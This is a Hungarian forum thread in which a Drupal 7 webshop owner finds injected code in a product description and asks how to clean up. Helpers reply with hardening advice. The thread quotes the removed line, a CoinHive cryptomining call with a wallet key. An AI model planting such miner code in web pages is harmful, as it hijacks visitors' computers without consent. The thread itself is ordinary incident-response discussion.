keresés

magveto képe

Sziasztok, az egyik webboltnál most vettem észre, hogy idegen kód van beillesztve, töröltem, jelszót változtattam erősebbre.
Kérdésem így hirtelenjébe, legegyszerűbben hogyan lehetne ellenőrizni, hogy hol betyárkodtak még?
Köszönöm a segítséget. :)

Fórum: 
magveto képe

Elfelejtettem írni, a kód nem a rendszerbe volt beillesztve, hanem az egyik termék leírásában.

0
0
magveto képe

Amit beszúrkáltak: var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

0
0
HF leon képe

Egész pontosan, hogy volt beillesztve?

Nem tudom, milyen a rendszered felépítése, de normális esetben érdemes tiltani minden felhasználónál a szkriptek beszúrásának lehetőségét. Ha szűrve van a bevitelkor az adat, akkor, már nem lehet olyan nagy baj. Ha a szuper admin-ként lépett be, akkor pedig rég rossz. Akkor bárhol lehet bármi az oldalakban.

Itt egy termék leírását írod. Ekkor csak annak a terméknek a megnézésekor a néző gépén fut le a javascript. Amit írtál ez eleve hiányos, ehhez, még tartoznia kellene további javascript-nek.

Akkor, ha simán kiírja a rendszer a termék leírásában, nyilván nem fut le a szkript.

Akkor lenne baj, ha magát a bányász szkriptet tudná beinjektálni az oldaladba a támadó és azt minden oldalon meghívni. Ekkor a szerencsétlen látogatókkal bányásztathatna magának valamilyen kriptovalutát.

Tehát első kérdés működött-e a szkript, vagy csak kiírva megjelent a termék leírásában?

Ha csak egyszerűen a leírásban jelent meg és úgy tippelsz csak ahhoz fért hozzá a jelszavaddal és máshoz nem volt joga, akkor elég végigkerestetni a leírásokat mondjuk a coin, miner szavakra.

A google-ban rákeresve ez a kedves emberke, vagy emberkék több oldalon is játszottak ezzel.

Mindenképpen erős jelszót válassz és érdemes pár hibás próbálkozás után bizonyos időre letiltani a bejelentkezés lehetőségét.

Ha újra előfordul az eset az erős jelszó ellenére is, akkor lehet máshol van a hiba az oldal kódjában, amit kihasználhat a támadó. Érdemes lehet naplózni, ha még nincs beállítva a tárhelyeden és ezeket átnézni, hogy vannak-e gyanús jelek a naplókban.

0
0
magveto képe

Szerintem rossz szkriptet írtak, viszont a jelszó változtatás a kép alapján nem sikerült:

http://www.kepfeltoltes.eu/view.php?filename=810K_perny_337_k_p_2018_0.png

Jeleztem a szolgáltatónak előreláthatólag rendszervisszaállítás lesz valamelyik mentett előző napról...

0
0
magveto képe

A látogatóknak minden le van tiltva a hozzászólás is. :) Se kedvem, se időm nézegetni, hogy ki mit írogat.
Már futtatom rendszervisszaállítást, kérdeztem a szolgáltatót milyen óvintézkedéseket tegyek, hogy ne történjen meg... Állítólag nem is a jelszavamat törték fel hanem valamilyen plugin vagy a cms hibája lehet, frissítsem a rendszeremet... A legfrissebben futott... Úgyhogy csak reménykedem, hogy legközelebb nem engem szemel ki. :)
Ja drupal 7-esem van...

0
0
HF leon képe

Töménytelen módja van annak, miként lehet egy oldalt manipulálni. Sok tíz, akár száz oldalt lehetne írni a kedves trükkös, vicces, vagy gonosz emberek különféle aranyos próbálkozásaiból. Hozzáteszem, hogy nem csak a weblap, de a szolgáltató is manipulálható és olyan eset is van, amikor a kettő együttes hibája ad lehetőséget a támadónak.

Jelen esetben nem tudom kapásból, hol lehet a hiba.

-Érdemes magát a drupal-t és a modulokat a webroot könyvtáron kívülről futtatni. Ekkor a php állományok nem érhetők el közvetlenül, mert a webroot fölé alapból nem lát be a látogató. Igaz hibás php megvalósítással az egyik alap eset, amikor hibásan kivitelez valaki egy fájl includ-ot, akkor ott tetszőleges php kód bevitelére nyílik lehetőség. Pláne, ha a szolgáltató sem elég óvatosra állítja a szerverét és a php-t. Ekkor aztán kitárul a világ a támadó előtt.

- Amit alapból megtehetsz az a rendszer és moduljainak webroot mögé helyezése. Ennek lehetősége minden normális szolgáltatónál adott.
- A rendszer és moduljainak folyamatos frissen tartása.
- Csak biztonságos modulok használata (a drupal.org zöld moduljai). Ez persze nem azt jelenti, hogy ezekben nem lehet hiba, vagy, hogy más modulok alapból hibásak, de itt a legnagyobb az esély, hogy a legkevesebb bennük a hiba. A folyamatosan fejlesztett modulokban pedig javítják a hibákat.
- Fontos az oldalon a megfelelő jogosultság kezelése.

Végig lehet nézni a .htaccess fájlokat, hogy megfelelőek-e a benne lévő beállítások. A settings.php-t sem árt átnézni.

Talán két fontos részét emelném ki a settings php-nek drupal7 esetén:

$base_url='http://www.magveto.sk';

Valamint a másik:

$drupal_hash_salt= file_get_contents('/home/example/salt.txt');

Ennél a másodiknál a homból kell megadnod a salt.txt fájl elérését, ami szintén a docroot mögé kerüljön.

Példa a salt txt tartalmára:
salt.txt

Egy könyv a drupal biztonságáról...

2
0
magveto képe

Nagyon szépen köszönöm. :)

0
0
magveto képe

Megoldottam, szűrő, összes termék leírása, aztán már csak ctrl+f ;)

0
0